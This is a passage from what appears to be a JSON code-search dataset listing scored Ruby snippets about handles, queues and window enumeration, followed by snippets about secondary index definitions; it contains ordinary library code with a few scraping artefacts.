"24c9c110a21a173f17f4145de34aea69", "score": "0.5179974", "text": "def first\n while handle = @sequence.last\n if handle.cancelled?\n @sequence.pop\n else\n return handle\n end\n end\n end", "title": "" }, { "docid": "4f6428c7c25e4b7e1a3ed9ea0f65a786", "score": "0.51309717", "text": "def view_next_order\n @queue.peek\n end", "title": "" }, { "docid": "56be2b776da4a6834b2e5bda455da88c", "score": "0.5004804", "text": "def first\n while handle = @sequence.last\n if handle.cancelled?\n @sequence.pop\n else\n return handle\n end\n end\n # @sequence.reverse.find { |handle| !handle.cancelled? }\n end", "title": "" }, { "docid": "c734084006f9573bdddb5a6efcaecbd6", "score": "0.48257515", "text": "def first\n\t\t\tmerge!\n\t\t\t\n\t\t\twhile (handle = @sequence.peek)\n\t\t\t\treturn handle unless handle.cancelled?\n\t\t\t\[email protected]\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "b7b7142ec98d2bf9b7779713f15ca60e", "score": "0.48219597", "text": "def substitute_next_style_handles\n @styles.each do |id,style|\n next_style_id = @next_styles_hash[id]\n # skip style if there is not a \"next style\"\n next if next_style_id.nil?\n # raise error if the specified \"next style\" is not defined\n if @styles[next_style_id].nil?\n RTFError.fire(\"'#{next_style_id}' cannot be the next style for '#{id}' because '#{next_style_id}'' has not been added to the stylesheet.\")\n end # if\n style.next_style_handle = @styles[next_style_id].handle\n end # styles each\n end", "title": "" }, { "docid": "118ab3b929ab25e74695c064d3a9dd8c", "score": "0.4793013", "text": "def lines\n old_order_lines\n end", "title": "" }, { "docid": "ae1af13a805c125966152a6dc9d15cb0", "score": "0.4780916", "text": "def find_instance_handles(instance_id, handles)\n prov_handle = nil\n binding_handles = []\n handles.each do |h|\n if h['service_id'] == instance_id\n prov_handle = h\n else\n binding_handles << h if h['credentials']['name'] == instance_id\n end\n end\n return [prov_handle, binding_handles]\n end", "title": "" }, { "docid": "512165d4e7d2e94c4e07f744932dfa40", "score": "0.47764876", "text": "def handle\n @queue << \"handle\"\n end", "title": "" }, { "docid": "f19381ea7fadc8776b6dd9c0710cdbdb", "score": "0.4760269", "text": "def iter()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = SegmentHistoryIter.new(Native.SegmentHistory_iter(@handle.ptr))\n result\n end", "title": "" }, { "docid": "d356e11988a52ed64a0f25d5f601f79f", "score": "0.4715566", "text": "def dequeue_many\n number = multi.easy_handles.count\n until number == max_concurrency || queued_requests.empty?\n add(queued_requests.shift)\n number += 1\n end\n end", "title": "" }, { "docid": "d03d431ed43cbc56cf3a13f0e468f233", "score": "0.46491128", "text": "def winnow\n @ordered.each do |ident,bucketlist|\n #\n # Put the bucket of commands for this identity into newest to\n # oldest order.\n #\n bucketlist.replace(bucketlist.sort { |a,b| b.time <=> a.time })\n #\n # Now thin the herd.\n #\n collection = []\n bucketlist.each do |tb|\n tb.commands.replace(tb.commands - collection)\n collection |= tb.commands\n end\n #\n # Get rid of any buckets that have had all of their commands\n # removed.\n #\n @buckets.delete_if { |tb| tb.commands.empty? }\n #\n # And put them back into oldest to newest order again.\n #\n @buckets = @buckets.reverse\n end\n return nil\n end", "title": "" }, { "docid": "8089807e45243366f7e41e98fc832ff4", "score": "0.46182472", "text": "def handlers\n @handlers ||= Set.new\n end", "title": "" }, { "docid": "e32189ef3168b9a809f438b958eddb6c", "score": "0.4617561", "text": "def window_handles\n driver.window_handles\n end", "title": "" }, { "docid": "847cb262d20e5b06ef968ff0267171f2", "score": "0.46114612", "text": "def nombre_handle(list)\n return list.size\nend", "title": "" }, { "docid": "3cfe3c7d49a30c287afb31a4ac7c4e68", "score": "0.4602414", "text": "def shortesthandle(tweeter_handles)\n tweeter_handles.sort_by(&:length).first\nend", "title": "" }, { "docid": "0e5374bd4b61659e2ffcadc500891d49", "score": "0.4601259", "text": "def populate_handle\n return unless !self.handle.present? || self.generate_handle\n\n self.handle = handle_base.\n gsub(/[^a-zA-Z0-9]/,'-').\n squeeze('-').\n chomp('-')\n \n self.handle = rand(1000000) if self.handle.empty?\n\n\n base = self.handle\n tries = 1\n\n # Create uniqueness\n while(true)\n match = handle_uniqueness_query(base)\n break unless match.present? && match.id != self.id\n\n base = self.handle + '-' + tries.to_s\n tries += 1\n end\n\n self.handle = base\n end", "title": "" }, { "docid": "fbd15c5dcb4819e3de1a4ed287743b65", "score": "0.4583534", "text": "def clean_handles\n @handle_keys.each do |k, v|\n if @handle_last_pinged[v] && @handle_last_pinged[v] < Time.now - 30\n log \"removed clone handle: #{v}\"\n remove_user_by_handle(v)\n end\n end\n end", "title": "" }, { "docid": "cead905b608a7fff85b3c67fdfacf340", "score": "0.45714644", "text": "def handlers_idx; end", "title": "" }, { "docid": "e49432bd17683b57fd9aa9f140395770", "score": "0.4557782", "text": "def waitlist_position(order)\n @queue.position_of(order)\n end", "title": "" }, { "docid": "2f7e6f9dbfe9c8ef65576f7fb24b7ad5", "score": "0.4557429", "text": "def each\n\t\tyield dequeue while @last != 0\n\tend", "title": "" }, { "docid": "6fc1967c5b7228e9966292aa1dc3d682", "score": "0.45450753", "text": "def get_at_most(handle_set)\n sdkmap = get_all_as_map\n sdklist = []\n for handle in handle_set\n sdk = sdkmap[handle]\n sdklist.push sdk if sdk\n end\n return sdklist\n end", "title": "" }, { "docid": "131c32eda0677a87942eb2edfe3af9ae", "score": "0.4544238", "text": "def handle=(value)\n return if value.nil?\n\n if handle.nil?\n add_handle(value)\n else\n update_handle(value)\n end\n end", "title": "" }, { "docid": "2d1118485aaf988177c45d9916dba6b5", "score": "0.45435563", "text": "def entries(n=Readline::HISTORY.size)\n size=Readline::HISTORY.size\n Readline::HISTORY.to_a[(size - n)..size-1]\n end", "title": "" }, { "docid": "cc0a8edb41d92783b72dcaf588ba13f2", "score": "0.4543471", "text": "def entries\n @entries.sort!{|a, b| a.range.low <=> b.range.low }\n end", "title": "" }, { "docid": "e61566b684a3be1ce03b768d1a9ea2bb", "score": "0.4515601", "text": "def heads(start=nil, options={:closed => true})\n heads = changelog.heads(start)\n should_show = lambda do |head|\n return true if options[:closed]\n \n extras = changelog.read(head).extra\n return !(extras[\"close\"])\n end\n heads = heads.select {|h| should_show[h] }\n heads.map! {|h| [changelog.rev(h), h] }\n heads.sort! {|arr1, arr2| arr2[0] <=> arr1[0] }\n heads.map! {|r, n| n}\n end", "title": "" }, { "docid": "874d23d0c97e72eb22e42f65c325eb2b", "score": "0.45057395", "text": "def consumers\n self.handle.consumers\n end", "title": "" }, { "docid": "c212cbf9d25a3f6ed7642f63620dfdae", "score": "0.4495084", "text": "def each_insertion_for(pending)\n yield [pending.first, 0]\n\n group_start_idx = 1 # skip over that first inserted element\n previous_group_size = 0\n power = 1\n\n while group_start_idx < pending.size\n group_size = 2**power - previous_group_size\n group_last_idx = [\n group_start_idx + group_size - 1,\n pending.size - 1,\n ].min # idx must not go off the end of pending\n max_insertion_idx = 2**(power+1) - 1\n\n group_last_idx.downto(group_start_idx).each do |idx|\n yield [pending[idx], max_insertion_idx]\n end\n\n group_start_idx += group_size\n previous_group_size = group_size\n power += 1\n end\n end", "title": "" }, { "docid": "82da2287d7ec788750b3451cf018d39b", "score": "0.44848737", "text": "def parse_handle_types(doc)\r\n doc.xpath('//types/type[@category=\"handle\" and type=\"VK_DEFINE_HANDLE\"]/name/text()').each do |x|\r\n @types[x.text] = :pointer\r\n end\r\n\r\n doc.xpath('//types/type[@category=\"handle\" and type=\"VK_DEFINE_NON_DISPATCHABLE_HANDLE\"]/name/text()').each do |x|\r\n @types[x.text] = :non_dispatchable_handle\r\n end\r\n nil\r\n end", "title": "" }, { "docid": "4897e625e60997ba6afef6ab7ed3a773", "score": "0.4478986", "text": "def refs_at; end", "title": "" }, { "docid": "d3e2394b8cd1795ca8b7ee5cc30aee7c", "score": "0.44585934", "text": "def find_all_children( window_handle )\n\n\t\t\[email protected](\"Finding all children for handle #{window_handle}\")\n\t\t\t\n\t\t\t# Process the parent window.\n\t\t\tif (@allChildren[window_handle] == nil)\n\t\t\t\t@allChildren[window_handle] = Window.new(window_handle)\n\t\t\tend\n\t\n\t\t\t# Enumerate the control's children.\n\t\t\tif (@childProcCalled[window_handle] == nil)\n\t\t\t\t# Enumeration has not been called on this control, so call it.\n\t\t\t\t@@EnumChildWindows.call(window_handle, @GetChildHandleProc, nil)\n\t\t\t\t\n\t\t\t\t@childProcCalled[window_handle] = 1\n\t\t\t\t\n\t\t\t\t# While the array of children to call is not empty, recurse\n\t\t\t\t# children.\n\t\t\t\twhile (@childrenToCall.first != nil)\n\t\t\t\t\thandle = @childrenToCall.shift\n\t\t\t\t\tfind_all_children( handle )\n\t\t\t\tend\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "35c6bfd922a81469f73488ec697d5a10", "score": "0.4458062", "text": "def ccs_in_ddi_order\n output = []\n harvest = lambda do |parent|\n output.append parent\n if parent.class.method_defined? :children\n parent.children.each(&harvest)\n end\n end\n harvest.call self.top_sequence\n output\n end", "title": "" }, { "docid": "9fbec9b2bcd97ad59997b3cbc61b2258", "score": "0.44578078", "text": "def handle; end", "title": "" }, { "docid": "b753cf96fcdaca6437b93e53e5823643", "score": "0.4450153", "text": "def pending_pages\n @queue_hndl.each_with_index do |pair, i|\n l, h = pair # [level, handle]\n if @[email protected]_get(h) # @page refers to the page to be\n # parsed (as seen by all parsers)\n #print_debug 0, \"Processant (1) handle #{h}\"\n if @page != \"\" # \"\" indicates unavoidable error\n @total_bytes += @page.content.size\n @total_pages += 1\n @web_dump.save(@page.uri.to_s, @page.content.to_s) if @web_dump\n print_log(:info, \"TA##{h} Received Page OK\") if @log\n process_level(l)\n end\n @queue_hndl.delete_at(i) # delete pair i\n end\n end\n @queue_hndl.size\n end", "title": "" }, { "docid": "e96973d6e3c3f95825fc1fe957a958aa", "score": "0.4436582", "text": "def handlers_start(handler_count)\n end", "title": "" }, { "docid": "66627177646d1ceb9f70d9440a719501", "score": "0.44274703", "text": "def order; end", "title": "" }, { "docid": "66627177646d1ceb9f70d9440a719501", "score": "0.44274703", "text": "def order; end", "title": "" }, { "docid": "f37862293976dd58d24b9b8696ae3a31", "score": "0.4427318", "text": "def process_handling\n super\n return prev_actor if handle?(:prev_actor) && Input.trigger?(:R)\n return next_actor if handle?(:next_actor) && Input.trigger?(:L)\n end", "title": "" }, { "docid": "c312024516925192c1fa9fe620e5a467", "score": "0.44075412", "text": "def split()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.Timer_split(@handle.ptr)\n end", "title": "" }, { "docid": "10ea57a332d2689b847d11aa23bffc2d", "score": "0.44071582", "text": "def get_event_wait_list( options )\n events = options[:event_wait_list]\n events = [events].flatten if events\n events_p = nil\n num_events = 0\n if events and events.size > 0 then\n num_events = events.size\n events_p = MemoryPointer::new( Event, num_events )\n events_p.write_array_of_pointer(events)\n end\n return [num_events, events_p]\n end", "title": "" }, { "docid": "aec7ced4cf4058369042405116eb8894", "score": "0.43986595", "text": "def all_objects_in_order\n all_objects\n end", "title": "" }, { "docid": "09bb9eeb7d7904693f262372c8fbb615", "score": "0.43952402", "text": "def close_handle(handle_, io_)\n io_.close\n if @preferred_handle - handle_ > @history_size\n ::File.delete(\"#{@normal_path}.#{@preferred_handle-handle_-1}\") rescue nil\n end\n @open_handles.delete(handle_)\n nil\n end", "title": "" }, { "docid": "ed3fe353a86d1276316c3e5f669ad8af", "score": "0.43880227", "text": "def render_items\n @items.reverse_each_with_index do |item, index|\n # Skip if item is already in\n next if item.parent\n\n next_item = @items[index + 1]\n if next_item\n # If there is a nex item isert before it\n next_id = next_item.data[key]\n el = @items.find { |element| element.data[key] == next_id }\n insert_before item, el\n else\n # Else append at the end\n item >> self\n end\n end\n end", "title": "" }, { "docid": "3817ff2ede3929f5719380629cb45dc2", "score": "0.4385081", "text": "def to_a\n pipe = self\n ret = [pipe.pipe_name]\n until pipe.first?\n pipe = pipe.prev\n ret.unshift pipe.pipe_name\n end\n ret\n end", "title": "" }, { "docid": "7c318625ed34989d9d853fcefc2564a8", "score": "0.43837762", "text": "def test_waiting_list_order\n # @todo don't know yet how to list waiting list\n # @todo original plan was just to have a waitinglist queue and only next is available to view\n puts \"Test under construction: waiting_list_order\"\n end", "title": "" }, { "docid": "2f3570ee7392e69297221bfc40c17a85", "score": "0.43789616", "text": "def last_and_next\n\t\t\t\t\t\treturn [self.last, self.next]\n\t\t\t\t\tend", "title": "" }, { "docid": "09591c286d70a38b1171a5e35faf13ae", "score": "0.43634498", "text": "def segment_history()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = SegmentHistoryRef.new(Native.Segment_segment_history(@handle.ptr))\n result\n end", "title": "" }, { "docid": "e5ccd3eda00d782e52c03dc6ec4c1623", "score": "0.43618515", "text": "def original_order\n end", "title": "" }, { "docid": "7f8441b6c862f45ed5fe477922f4c96b", "score": "0.43587694", "text": "def waiters\n meals.map {|m| m.waiter}\n end", "title": "" }, { "docid": "a560df37354365da18d042b96279be43", "score": "0.43533245", "text": "def window_handle; end", "title": "" }, { "docid": "189a65b2f30834ca8c2d73aaf8f129e3", "score": "0.43477362", "text": "def sortable_handle_tag(object)\n class_name = \"handle #{ object.class.name.underscore }\"\n image = image_tag(\"move.gif\", :border => 0, :alt => \"#{ _(\"Move\") }\", :class => class_name)\n\n object.new_record? ? \"\" : image\n end", "title": "" }, { "docid": "2884989c8eb873b9d6897cd1bcb33e7c", "score": "0.43369114", "text": "def open_curve(vertices)\n return if vertices.empty?\n vertices = vertices.dup\n origin = vertices.shift\n move_to(origin[:point])\n previous_handle2 = origin[:handle2]\n vertices.each do |vertex|\n curve_to(vertex[:point],\n :bounds => [previous_handle2 || vertex[:point],\n vertex[:handle1] || vertex[:point]])\n previous_handle2 = vertex[:handle2]\n end\n end", "title": "" }, { "docid": "0d764e66222eaab4c7ee36795b137bc2", "score": "0.43275362", "text": "def each(&blk)\n reset!\n window_list.each(&blk)\n end", "title": "" }, { "docid": "0d764e66222eaab4c7ee36795b137bc2", "score": "0.43275362", "text": "def each(&blk)\n reset!\n window_list.each(&blk)\n end", "title": "" }, { "docid": "ee0c4b4823beda0d1b575d5a18993ffe", "score": "0.43252248", "text": "def required_heb_monograph_handles\n docs = ActiveFedora::SolrService.query(\n \"+(has_model_ssim:Monograph AND +press_sim:heb)\",\n fl: %w[id identifier_tesim],\n rows: 100_000\n ) || []\n\n heb_monograph_handles = {}\n docs.each do |doc|\n heb_monograph_handles.merge!(HebHandleService.new(doc).handles)\n end\n heb_monograph_handles\n end", "title": "" }, { "docid": "46a5b0be25e2b839c1e1106616791163", "score": "0.4319797", "text": "def ordered_resources\n resources_graph.topsort.to_a\n end", "title": "" }, { "docid": "ed749b13a00f958027b7e0d56aeb403d", "score": "0.43106422", "text": "def wait_jobs(job_handles)\n\n job_results = { }\n job_handles.each do |job_id, handle|\n\n result = Marshal.load(handle[1])\n Process.waitpid(handle[0])\n job_results[job_id] = result\n end\n\n job_results\n end", "title": "" }, { "docid": "871a366db8bd01165a3bf7b54db71512", "score": "0.43083736", "text": "def horizontals_cur\n if !@horizontals[@htop]\n @horizontals[@htop] = @layout.createParallelGroup()\n @hgroup.add(@horizontals[@htop])\n end\n\n @horizontals[@htop]\n end", "title": "" }, { "docid": "076273d60d494f550d8aecf7feca3849", "score": "0.43082777", "text": "def queue\n @queue ||= []\n end", "title": "" }, { "docid": "7adc06eef49656ea16a161ec2dd1386a", "score": "0.4300634", "text": "def list_handles\n svc = Service.find_by_label(params[:label])\n raise CloudError.new(CloudError::SERVICE_NOT_FOUND) unless svc\n raise CloudError.new(CloudError::FORBIDDEN) unless svc.verify_auth_token(@service_auth_token)\n\n handles = []\n cfgs = svc.service_configs\n if cfgs\n cfgs.each do |cfg|\n handles << {\n :service_id => cfg.name,\n :configuration => cfg.data,\n :credentials => cfg.credentials\n }\n end\n end\n\n bdgs = svc.service_bindings\n if bdgs\n bdgs.each do |bdg|\n handles << {\n :service_id => bdg.name,\n :configuration => bdg.configuration,\n :credentials => bdg.credentials,\n }\n end\n end\n\n render :json => {:handles => handles}\n end", "title": "" }, { "docid": "2417ccb9a788ab554da372a44e77c195", "score": "0.42984667", "text": "def autoclose_open_blocks_and_return\n ( rslt = close_block; chain rslt; pipe_2_variable ) while @head.size > 1\n return close_block\n end", "title": "" }, { "docid": "c8b70620ca02e78f846e846ddbb5a479", "score": "0.428334", "text": "def dependency_order\n sorted = strongly_connected_components.flatten\n\n result = []\n seen = {}\n\n sorted.each do |spec|\n if index = seen[spec.name] then\n if result[index].version < spec.version then\n result[index] = spec\n end\n else\n seen[spec.name] = result.length\n result << spec\n end\n end\n\n result.reverse\n end", "title": "" }, { "docid": "2dc2b817c26dd2796d80e44b8ea21136", "score": "0.42809418", "text": "def page_order\n self.pages.order('sequence_id')\n end", "title": "" }, { "docid": "ae5387f3308344b6551e859ce03760c4", "score": "0.42804244", "text": "def cursors\n @cursors ||= {}\n end", "title": "" }, { "docid": "5ce88b7332393167f36bf9566213031c", "score": "0.42759708", "text": "def circular_sequences\n to_return = []\n connections.each do |conn|\n if conn.probe1.sequence_index == conn.probe2.sequence_index and\n conn.probe1.side != conn.probe2.side and\n @graph.edges[conn.probe1.to_settable].length == 1 and\n @graph.edges[conn.probe2.to_settable].length == 1\n\n to_return.push conn.probe1.sequence_index\n end\n end\n return to_return\n end", "title": "" }, { "docid": "8b2252861cdcafd864ef4f4bddfef2a4", "score": "0.4271236", "text": "def next\n\t\t# Use up all of the extras\n\t\treturn @extras.pop if [email protected]?\n\t\t# Then track the last freeid used (which should always be the max)\n\t\treturn (@last+=1)-1\n\tend", "title": "" }, { "docid": "45e4d849da6d40fd9bfb81fcac385293", "score": "0.4267427", "text": "def closed_curve(vertices)\n return if vertices.empty?\n vertices = vertices.dup\n origin = vertices.shift\n move_to(origin[:point])\n previous_handle2 = origin[:handle2]\n vertices.each do |vertex|\n curve_to(vertex[:point],\n :bounds => [previous_handle2 || vertex[:point],\n vertex[:handle1] || vertex[:point]])\n previous_handle2 = vertex[:handle2]\n end\n curve_to(origin[:point],\n :bounds => [previous_handle2 || origin[:point],\n origin[:handle1] || origin[:point]])\n end", "title": "" }, { "docid": "c1ab1f3f51248ec7323d28a207478bf5", "score": "0.42669034", "text": "def next_states\n states = []\n for direction in [\"up\", \"down\", \"left\", \"right\"] do\n new_rows = slide(direction)\n states << Grid.new(@x, @y, new_rows) unless new_rows.nil?\n end\n states\n end", "title": "" }, { "docid": "4f25758d810b4989d285e382e8862d0e", "score": "0.42653787", "text": "def refs\n @refs\n end", "title": "" }, { "docid": "957056874da49330a4daa10d822d6335", "score": "0.42652112", "text": "def <<(handler)\n @storage << handler\n @storage = @storage.sort_by { |h| !h.described?.to_s }\n end", "title": "" }, { "docid": "f8b6f59d3d73b84dc6c597cb58ac8cde", "score": "0.42640135", "text": "def next\n after.first\n end", "title": "" }, { "docid": "c0bc191b28639546e09cadc168ac6ed1", "score": "0.4260583", "text": "def dup_handle(h)\r\n Ragweed::Wrap32::duplicate_handle(@h, h)\r\n end", "title": "" }, { "docid": "d6558837e0d069787a266af4a6d8a4e2", "score": "0.4258114", "text": "def follows; [] end", "title": "" }, { "docid": "1fc8ad00a06bb071d4e5475526475407", "score": "0.42555997", "text": "def each\n @lock.synchronize do\n @items.each do |id, ref|\n begin\n yield id, ref.__getobj__\n rescue WeakRef::RefError\n end\n end\n end\n end", "title": "" }, { "docid": "93826110c0480af1dea6315e1764220c", "score": "0.42498147", "text": "def handle\n end", "title": "" }, { "docid": "a6b9f48c455324df37b5e824023fcb08", "score": "0.42492843", "text": "def move_later\n nekst = self.next\n self.append_to(nekst) if nekst\n end", "title": "" }, { "docid": "a7738fc66213d5de1f88b2de13a0479d", "score": "0.4248999", "text": "def entry_order; end", "title": "" }, { "docid": "756da8c51c32bc6144b97dc2d3b1cfd5", "score": "0.4247564", "text": "def reap\n out = []\n @children.each do |key,child|\n pid = child.waitpid\n out << child.info\n\n # dead or missing processes, forget about them\n if pid == -1 or pid == child.pid\n @children.delete(key)\n end\n end\n out\n end", "title": "" }, { "docid": "dfd6e22e6dca2816a65d10f326f23951", "score": "0.4243098", "text": "def attributes; Common.attributes(@handle); end", "title": "" }, { "docid": "6e3f624646228729806b1688224439ca", "score": "0.424031", "text": "def histories(order = \"desc\")\n (notes + events.except_note_events).sort do |a, b|\n order != \"asc\" ?\n b.created_at <=> a.created_at :\n a.created_at <=> b.created_at\n end\n end", "title": "" }, { "docid": "196e413bff400a6be7a41198e560a184", "score": "0.42395076", "text": "def processOrder\n \n end", "title": "" }, { "docid": "052afe428f76c833435c6a80cdf7ef45", "score": "0.42312333", "text": "def channel_open_handlers; end", "title": "" }, { "docid": "80670198ac2bee939cc07ed9b61515f5", "score": "0.42310515", "text": "def select_sequence_names\n sql = <<-SQL.strip_heredoc\n SELECT c.relname FROM pg_class c\n WHERE c.relkind = 'S' ORDER BY c.relname ASC\n SQL\n\n select_all(sql).map { |row| row[\"relname\"] }\n end", "title": "" }, { "docid": "813c0534b48dd25d23e7bd0fafd12f3d", "score": "0.4226324", "text": "def queue_item_intentions()\n next_step_intentions.each { |i| queue_intention(i) }\n end", "title": "" }, { "docid": "c1ece668fafda7328a4752be1e8d5b5d", "score": "0.42228645", "text": "def states\n peek_state\n if !@state_queue.empty?\n @current_state = @state_queue.last\n @state_queue,old = [],@state_queue\n old\n else\n []\n end\n end", "title": "" }, { "docid": "1dd337616cc6fcbb1ecf43d65b5e1377", "score": "0.4215852", "text": "def each\n (0..VIM::Window.count - 1).each do |ix|\n yield Window.new(VIM::Window[ix])\n end\n end", "title": "" }, { "docid": "bb3d90e4f766360d0eb80b6642fa73e7", "score": "0.42156217", "text": "def current_and_next\n\t\t\t\t\t\treturn [self.current, self.next]\n\t\t\t\t\tend", "title": "" }, { "docid": "76ce53b00207d702b6d8f13d64675d50", "score": "0.42118272", "text": "def receive_from_child_when_closed\n\n ms = receive\n\n return [] if ms.empty?\n\n pop_on_receive_last || ms\n end", "title": "" }, { "docid": "8fab019a2c3b97da715e170a60b624d9", "score": "0.42091778", "text": "def events(direction = :forward, maxCount = @pgSize)\n set_method, next_method = (direction == :forward) ? [:rewind, :readNext] : [:reset, :readPrevious]\n send(set_method)\n\n readNext if direction == :reverse # Hack to fix issue with VC setting to first page of events\n\n while (events_page = send(next_method, maxCount))\n events_page.each { |event| yield(event) }\n end\n end", "title": "" }, { "docid": "f6d542c317ae7179e12cd577f82c9033", "score": "0.42049286", "text": "def sort_pieces\n @headings = Heap.new\n cont = true\n while cont do\n piece = []\n begin\n @piece_size.times { piece << @source.next }\n rescue StopIteration\n cont = false\n end\n piece.sort!\n @headings.insert(ExtStream.new(piece))\n end\n end", "title": "" }, { "docid": "43336f99a2eff5307e5fe7b8accb464b", "score": "0.42017493", "text": "def next_event(pending)\n # this variable is 2 if selected_event is being forwarded, 1 if it\n # is both forwarded and signalled and 0 if it is only signalled\n priority, step_id, selected_event = nil\n for propagation_step in pending\n target_event = propagation_step[0]\n target_step_id, forwards, signals = *propagation_step[1]\n target_priority = if forwards && signals then 1\n elsif signals then 0\n else 2\n end\n\n do_select = if selected_event\n if EventStructure::Precedence.reachable?(selected_event, target_event)\n false\n elsif EventStructure::Precedence.reachable?(target_event, selected_event)\n true\n elsif priority < target_priority\n true\n elsif priority == target_priority\n # If they are of the same priority, handle\n # earlier events first\n step_id > target_step_id\n else\n false\n end\n else\n true\n end\n\n if do_select\n selected_event = target_event\n priority = target_priority\n step_id = target_step_id\n end\n end\n [selected_event, *pending.delete(selected_event)]\n end", "title": "" }, { "docid": "026afde0d00de02149ca3d8c131b7cff", "score": "0.41996178", "text": "def undo_split()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.Timer_undo_split(@handle.ptr)\n end", "title": "" }, { "docid": "6ff39ec757a5f71ceb3e4e0fea443fd6", "score": "0.41975597", "text": "def ref_seq\n\n _ref_seq || set_ref_seq\n\n rescue => e\n\n warn \"-\"*30\n warn self.inspect\n warn e.inspect\n warn \"-\"*30\n return Insectdb::Sequence.new([])\n\n end", "title": "" } ]
44c312ce06015c7efefe072298df3d58
Add a local secondary index definition.
[ { "docid": "2038f94a621cb861e77da44a37322069", "score": "0.6784509", "text": "def add_lsi(name, key_name)\n local_secondary_indices[name.to_s] = LocalSecondaryIndex.new(name.to_s, key_name.to_s)\n end", "title": "" } ]
[ { "docid": "dca89f78a7505c433e857cd5c3490aeb", "score": "0.6412433", "text": "def local_secondary_index(index_name)\n indexes = table.local_secondary_indexes\n indexes.find {|index| index.index_name.eql?(index_name)} if indexes\n end", "title": "" }, { "docid": "794d2cf126cf6458bedc876b00d41105", "score": "0.6244894", "text": "def add_gsi(name, partition_key, sort_key = nil)\n global_secondary_indices[name.to_s] = GlobalSecondaryIndex.new(name.to_s, partition_key.to_s, sort_key)\n end", "title": "" }, { "docid": "6a3b8de018d647aa24039808d35c325d", "score": "0.6198135", "text": "def add_statement\n base_add_statement('add_index')\n end", "title": "" }, { "docid": "72e91978792cac2a422b74da38b51a39", "score": "0.61797565", "text": "def lsi(action=:create, index_name=nil, &block)\n # dont need action create but have it to keep the lsi and gsi method consistent\n lsi_index = LocalSecondaryIndex.new(index_name, &block)\n @lsi_indexes << lsi_index # store @lsi_index for the parent Dsl to use\n end", "title": "" }, { "docid": "23fcfa1eb43e1ff77efd6360dd177dc0", "score": "0.5964904", "text": "def global_secondary_index(index_name)\n indexes = table.global_secondary_indexes\n indexes.find {|index| index.index_name.eql?(index_name)} if indexes\n end", "title": "" }, { "docid": "11b17d43391434e123236e3398313807", "score": "0.5918979", "text": "def create!(suffix = nil, **options)\n options.reverse_merge!(alias: true)\n general_name = index_name\n suffixed_name = index_name(suffix: suffix)\n\n body = specification_hash\n body[:aliases] = {general_name => {}} if options[:alias] && suffixed_name != general_name\n result = client.indices.create(index: suffixed_name, body: body)\n\n Chewy.wait_for_status if result\n result\n end", "title": "" }, { "docid": "34c710a8c0efb55e18ff54cfc1035092", "score": "0.5896179", "text": "def add_index(_, *args) #:nodoc:\n index(*args)\n end", "title": "" }, { "docid": "6633ffc614f976a99d6c80e07b50d465", "score": "0.5885832", "text": "def do_local_indexing(solr_doc); end", "title": "" }, { "docid": "655d377c6c506f20971c1a9a0bf20a5d", "score": "0.5879699", "text": "def new_index; end", "title": "" }, { "docid": "f9e980b6cee259f1efaa9bd5914c20d2", "score": "0.5717252", "text": "def create_index!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n\n type = CREATE_INDEX\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 4:16: 'create index'\n match( \"create index\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n end", "title": "" }, { "docid": "86f019d18179c9bb57f56eec28f0f93a", "score": "0.56944954", "text": "def local_secondary_indexes\n data[:local_secondary_indexes]\n end", "title": "" }, { "docid": "dbe814c56cee265bcf5cf49d6efa6e40", "score": "0.5662338", "text": "def add_index(column_name, options = {})\n inline_schema_config.add_ideal_index column_name, options\n end", "title": "" }, { "docid": "5eb8252e8ddf5153b5b078c85fc34323", "score": "0.5631978", "text": "def create_index_instance\n if aaf_configuration[:remote]\n RemoteIndex\n elsif aaf_configuration[:single_index]\n SharedIndex\n else\n LocalIndex\n end.new(aaf_configuration)\n end", "title": "" }, { "docid": "ce22a850d244851de9794ad72ba4e3f7", "score": "0.56243014", "text": "def create_index\n @strategy.create_if_undefined(@index_config.definition)\n end", "title": "" }, { "docid": "cef7d90b0a7c37cbcc2fad043e1ef1d1", "score": "0.5611988", "text": "def addIndex(newIx)\n assertIds(newIx.args)\n raise \"Duplicate index declaration #{newIx}\" if @indexes.has_key?(newIx.key)\n @indexes[newIx.key] = newIx\n end", "title": "" }, { "docid": "3dc45da40376752b8077a92c06eda3a1", "score": "0.55230355", "text": "def add_index(name, indexable)\n @lock.synchronize do\n @indexes[name] = indexable\n end\n end", "title": "" }, { "docid": "ff0e18a99f852166ecc32eb52f287eb8", "score": "0.5516173", "text": "def add_index(table_name,column_name,options = {})\n index_name = options[:name] || index_name(table_name,:column => Array(column_name))\n\n if options[:spatial]\n execute \"CREATE SPATIAL INDEX #{index_name} ON #{table_name} (#{Array(column_name).join(\", \")})\"\n else\n super\n end\n end", "title": "" }, { "docid": "88d0b0cb66519eec2c12fbabc1a00db5", "score": "0.5483958", "text": "def add_index type, allowed_groups, used_groups, index_definition\n indexes[type] = {} unless @indexes[type]\n @indexes[type][allowed_groups] = index_definition\n @mutexes[index_definition[:index]] = Mutex.new\n end", "title": "" }, { "docid": "714a0dc157aca01071298c2bfc8a5239", "score": "0.5460772", "text": "def gsi(action=:create, index_name=nil, &block)\n gsi_index = GlobalSecondaryIndex.new(action, index_name, &block)\n @gsi_indexes << gsi_index # store @gsi_index for the parent Dsl to use\n end", "title": "" }, { "docid": "bfe13258b65b3756480b36a622c331de", "score": "0.5457774", "text": "def index(*params)\n config = params.extract_options!\n name = config.delete(:name)\n schemaless_indexes <<\n ::Schemaless::Index.new(params, name, config)\n end", "title": "" }, { "docid": "cb7aac12719bdd52f301143aaaf98d8f", "score": "0.5451032", "text": "def define_index(&block)\n return unless ThinkingSphinx.define_indexes?\n\n self.sphinx_indexes ||= []\n self.sphinx_facets ||= []\n\n delta_index_exists = sphinx_indexes.any? { |i| i.delta? }\n\n index = ThinkingSphinx::Index::Builder.generate(self, &block)\n\n self.sphinx_indexes << index\n unless ThinkingSphinx.indexed_models.include?(self.name)\n ThinkingSphinx.indexed_models << self.name\n end\n\n # Add delta Hooks just once\n if index.delta? && !delta_index_exists\n before_save :toggle_delta\n after_commit :index_delta\n end\n\n # add 